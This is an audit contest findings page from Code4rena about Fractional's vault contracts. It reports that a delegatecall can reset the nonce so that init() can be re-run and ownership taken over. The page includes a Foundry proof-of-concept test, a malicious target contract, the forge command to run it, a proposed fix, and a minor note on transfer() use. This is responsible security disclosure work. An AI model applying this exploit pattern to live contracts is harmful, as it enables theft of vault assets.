Platform: Code4rena
Start Date: 07/07/2022
Pot Size: $75,000 USDC
Total HM: 32
Participants: 141
Period: 7 days
Judge: HardlyDifficult
Total Solo HM: 4
Id: 144
League: ETH
Rank: 133/141
Findings: 2
Award: $6.36
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: byterocket
Also found by: 0x1f8b, 242, ACai, BradMoon, Chom, Lambda, PwnedNoMore, Twpony, __141345__, ayeslick, berndartmueller, cccz, giovannidisiena, infosec_us_team, minhtrng, nine9, oyc_109, reassor, slywaters, sseefried, tofunmi, unforgiven
4.9607 USDC - $4.96
https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L24 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L115
The internal _execute function checks if the owner changed after the call, but doesn't check if the public nonce has changed. An attacker can change the nonce to zero after delegate call and call the init( ) function again and change the owner. As seen in the POC, the attacker takes over all the functions in the contract that require owner access, by just re-initializing, since it passes the init() external function check
function testAttackNonceChanged() public { address attacker = address(0x12345); vaultProxy.init(); TargetContract targetContract = new TargetContract(); bytes32[] memory proof = new bytes32[](1); proof[0] = keccak256( abi.encode( alice.addr, address(targetContract), TargetContract.changeNonce.selector ) ); vaultProxy.setMerkleRoot(proof[0]); bytes memory data = abi.encodeWithSignature("changeNonce()"); vaultProxy.execute(address(targetContract), data, proof); //now anyone can now become the owner vm.startPrank(attacker); vaultProxy.init(); vm.stopPrank(); assertEq(vaultProxy.owner(), attacker); }
contract TargetContract { address public owner; bytes32 public merkleRoot; uint256 public nonce; function changeNonce() public { nonce = 0; } function changeOwner(address _owner) public { owner = _owner; } function transferOwnership() external { Vault(payable(address(this))).transferOwnership(address(1)); } }
forge test --match-contract VaultTest --match-test testAttackNonceChanged -vvvv
function _execute(address _target, bytes calldata _data) internal returns (bool success, bytes memory response) { // Check that the target is a valid contract uint256 codeSize; assembly { codeSize := extcodesize(_target) } if (codeSize == 0) revert TargetInvalid(_target); // Save the owner address in memory to ensure that it cannot be modified during the DELEGATECALL address owner_ = owner; uint256 nonce_ = nonce; // Reserve some gas to ensure that the function has enough to finish the execution uint256 stipend = gasleft() - MIN_GAS_RESERVE; // Delegate call to the target contract (success, response) = _target.delegatecall{gas: stipend}(_data); if (owner_ != owner && nonce_ != nonce) revert OwnerChanged(owner_, owner); // Revert if execution was unsuccessful if (!success) { if (response.length == 0) revert ExecutionReverted(); _revertedWithReason(response); } }
#0 - HardlyDifficult
2022-07-26T23:57:00Z
Duping to #487
🌟 Selected for report: IllIllI
Also found by: 0x1f8b, 0x29A, Amithuddar, Avci, BowTiedWardens, Kthere, Limbooo, MEP, Ruhum, StyxRave, TomJ, Treasure-Seeker, TrungOre, Tutturu, Waze, bardamu, c3phas, cccz, codexploder, cryptphi, hake, horsefacts, hyh, oyc_109, pashov, peritoflores, scaraven, simon135, slywaters, sseefried, tofunmi, xiaoming90
1.3977 USDC - $1.40
https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L172 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L325
The use of the deprecated transfer() function for an address will inevitably make the transaction fail if
Recommending using call{value: }("") instead of transfer().
#0 - stevennevins
2022-07-19T21:47:10Z
Duplicate of #325
#1 - HardlyDifficult
2022-07-28T15:46:20Z
Duping to #504